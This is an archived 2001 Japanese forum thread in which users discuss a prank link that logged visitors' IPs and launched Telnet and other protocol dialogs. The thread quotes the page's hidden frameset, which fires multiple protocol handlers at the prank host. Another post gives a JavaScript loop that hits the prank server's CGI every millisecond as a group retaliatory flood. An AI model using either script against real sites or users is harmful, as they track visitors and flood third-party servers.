トップページ⇒hack
29コメント10KB

個人情報盗まれた？

■ このスレッドは過去ログ倉庫に格納されています
0001みみか2001/06/22(金) 12:51ID:mImyzb6w
昨日、２ｃｈ掲示板にてＵＲＬをクリックしたら、ＩＰが標示されてTelnet？のダイアルログが沢山出てきました。
「ゴキブリホイホイ１号」と上に標示されていました。
これはなんですか？かなり初心者なので教えて下さい。
問題のＵＲＬ

http://samurai-x.hypermart.net/cgi-bin/kitty.cgi
知らない人は押さないで下さい。
0002７2001/06/22(金) 13:18ID:???
ネット初心者は今人がいないみたいだからセキュリティ板で聞くといい。
0003みみか2001/06/22(金) 13:34ID:I5Z6z9HI
急ぎませんので、夜までまちます（笑）
ありがとう(=^_^=)
0004 2001/06/22(金) 16:59ID:???
>1
知ってる人も押さないよ（ｗ
設定いぢるの面倒だし。
普通にネット楽しみたいし。エロ動画とか（ｗ
0005atsugi1-130.kcom.ne.jp2001/06/23(土) 00:56ID:eo.BNbj6
>>1 押して見たよ。厨房ほいほいにされてしまった。
LOGFile見たらおもいおもい。
んで、繋げたままにしてるけど、誰か入ってくるのかな？
待ってるよ！
0006 2001/06/23(土) 01:50ID:CRYaBmtY
<frameset rows="100%,0,0,0,0,0,0,0,0,0">
<frame src="http://samurai-x.hypermart.net/cgi-bin/kitty.cgi?mode=ipget&port=3532">
<frame src="ftp://samurai-x.hypermart.net:3532/" scrolling=no noresize>
<frame src="gopher://samurai-x.hypermart.net:3532/" scrolling=no noresize>
<frame src="https://samurai-x.hypermart.net:3532/" scrolling=no noresize>
<frame src="pnm://samurai-x.hypermart.net:3532/pnmiptrace" scrolling=no noresize>
<frame src="mms://samurai-x.hypermart.net:3532/mmsiptrace" scrolling=no noresize>
<frame src="rlogin://samurai-x.hypermart.net:3532/" scrolling=no noresize>
<frame src="tn3270://samurai-x.hypermart.net:3532/" scrolling=no noresize>
<frame src="telnet://samurai-x.hypermart.net:3532/" scrolling=no noresize>
<frame src="news://samurai-x.hypermart.net:3532/" scrolling=no noresize>
</frameset>
00075 もう切ったよ2001/06/23(土) 02:15ID:O/5T63RA
Windows再起動すると、Windowsの更新は 無事行った となりますが
どのファイルいじったんだろう。

取りあえず User.dat とSystem.dat をいじるようなやつは嫌い。
0008>72001/06/23(土) 02:18ID:pHJX9Fhw
scanreg /restore しとけよ！！
0009名無しさん2001/06/23(土) 02:27ID:???
>>8
ワッツイズrestore?
0010名無しさん2001/06/23(土) 02:29ID:???
とりあえずnetstatでは侵入者の痕跡はない
00115 もう切ったよ2001/06/23(土) 02:29ID:???
もう三回再起動したので restore は無意味ですね。
いや いいんだけどね。
001282001/06/23(土) 02:34ID:pHJX9Fhw
>>11

バックアップは1日１回でなかったか？
とりあえずscanreg /restore しとけって。
00135 もう切ったよ2001/06/23(土) 02:38ID:???
うぃ！
0014PORT2001/06/23(土) 02:41ID:pHJX9Fhw
どっかかわったポート開いてないか？
0015名無しさん2001/06/23(土) 02:42ID:???
>>8
再起動する前にバックアプしてしまいました(w
0016名無しさん2001/06/23(土) 02:43ID:???
>pHJX9Fhw
やたら熱心だね
0017８2001/06/23(土) 02:47ID:pHJX9Fhw
>>15
レジストリの復旧出来ないってこと？
それとももうとっくに直したってこと？
00185 もう切ったよ2001/06/23(土) 02:59ID:???
HKEY_CLASSES_ROOT キーまたはサブキー 最終カキコ 時間更新 七回
キーまたはサブキー 作成 or 削除 または キー名変更 二回
HKEY_CURRENT_USER 二回
零回
HKEY_LOCAL_MACHINE 八回
一回
HKEY_USERS 二回
零回
HKEY_CURRENT_CONFIG 八回
零回
HKEY_DYN_DATA 零回 零回

ちなみに私 >>8 では有りません。
00195 もう切ったよ2001/06/23(土) 03:01ID:???
８さん 失礼。
訂正 正： ちなみに私 >>15 では有りません。
0020namae2001/06/23(土) 03:44ID:???
ログ↓
http://samurai-x.hypermart.net/cgi-bin/ipahyalogz.txt

これさぁ、前に takahashi っ奴がやってなかった？
0021皆でやれば怖くない？2001/06/23(土) 05:04ID:???
<HTML>
<HEAD>
<TITLE>ばーか、samurai-x</TITLE>
</HEAD>
<BODY>
<FORM name="form"><INPUT id="number" type="TEXT"></FORM>

<SCRIPT language="JavaScript">
<!--

alert("START!!");

var URL = "view-source:http://samurai-x.hypermart.net/cgi-bin/kitty.cgi?mode=ipget&port=";
var Number = 0;
var WID = window.open("");

function doOpen()
{
WID.location.replace(URL + Number);
document.form.number.value = Number;
Number++;
}

var TID = setInterval("doOpen();", 1);

//-->
</SCRIPT>
</BODY>
</HTML>
0022８2001/06/23(土) 12:04ID:5HrGhsWc
>>18
それどういう事？
レジストリ書き換えられたの？

>>21
これは何？
>>1　のURL作者への攻撃が出来るの？
0023みみか2001/06/23(土) 14:17ID:moH7oQKQ
あの・・・。ところで原因はなんなんでしょう？
一応メールパスワードは変更したんですけど。
大丈夫なんでしょうか？
0024みみか2001/06/23(土) 14:23ID:moH7oQKQ
>>5
厨房ほいほいにされてしまったってなんですか？
00255 もう切ったよ2001/06/23(土) 23:59ID:???
>>22 >>7のとおり、 User.dat とSystem.datいじってるみたいなのね。
んで、フリーソフト入れて監視しながら >>1 へ行くと >>18 のとおり
さわられている。

ただ、media playerとRealPlayerの更新させようとしているみたいだから
それが、レジストリにアクセスしているのかな？と思う。

00265 もう切ったよ2001/06/24(日) 00:04ID:???
>>24 「ゴキブリホイホイ１号」と上に標示されていました。

これは -厨房ホイホイ1号♪- と表示してなかったか？
00275 もう切ったよ2001/06/24(日) 00:06ID:???
>>23 何にも影響ないでしょ。俺はそのままです。
0028Test2001/06/24(日) 00:57ID:8eKLrK.g
>>8 と >>22が同じやつ とは思えない。
リアル厨房？
リアル消防か？
0029みみか2001/06/24(日) 21:55ID:adeR1xb.
>>26　「ゴキブリホイホイ」じゃなくて「厨房」だったと思います。
恐くなってあわてて閉じちゃったので、よく覚えてませんでした。
>>27　ありがとう。とりあえず大丈夫だということがわかったので、安心しました。
みなさんありがとうございました(=^_^=)
■ このスレッドは過去ログ倉庫に格納されています